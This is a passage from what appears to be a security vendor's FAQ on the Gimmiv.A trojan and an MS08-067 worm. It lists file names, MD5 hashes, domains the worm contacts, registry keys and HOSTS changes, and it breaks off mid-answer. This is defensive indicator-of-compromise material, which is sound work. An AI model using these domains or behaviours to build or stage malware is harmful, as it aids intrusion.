The most common file name is N2.exe. However, file names Nx.exe are widely spreading as well; [x] represents a number from 1 through 9.
The MD5 hash of the one specific N2.exe file in the wild on 23rd Oct is f173007fbd8e2190af3be7837acd70a4.
Update: To list one more the MD5 hash of n5.exe is 24cd978da62cff8370b83c26e134ff4c.

Prevx database knows the following file names too:
15197927.EXE, 00003106.EXE, NVIR/N2.EXE, 18912604.EXE, 54800477.DAT
The format of the file can be NVIR/N3.EXE etc. too.

Q: What type of network connections these malware make?
A: Gimmiv.A sends an ICMP Echo Request packet to multiple IP addresses including the string ”abcde12345fghij6789”.

Q: How can I recognize malicious files spreading RPC worm (Exploit.Win32.MS08-067.g)?
A: The files names reported in the wild are 6767.exe and KernekDbg.exe.

Q: What is the size of these files?
A: The size are various, but many of them are 16,384 bytes long.

Q: What kind of network connections the worm makes and are there any modifications made to Windows registry?
A: It connects to robot.10wrj.com, ls.cc86.info, ls.lenovowireless.net and ls.playswomen.com. Yes, the worm will add the new value to HKLM\SOFTWARE\Licenses and HKLM\SOFTWARE\Google.

Q: Are there any changes to Windows HOSTS file?
A: Yes, the lines
127.0.0.1 dn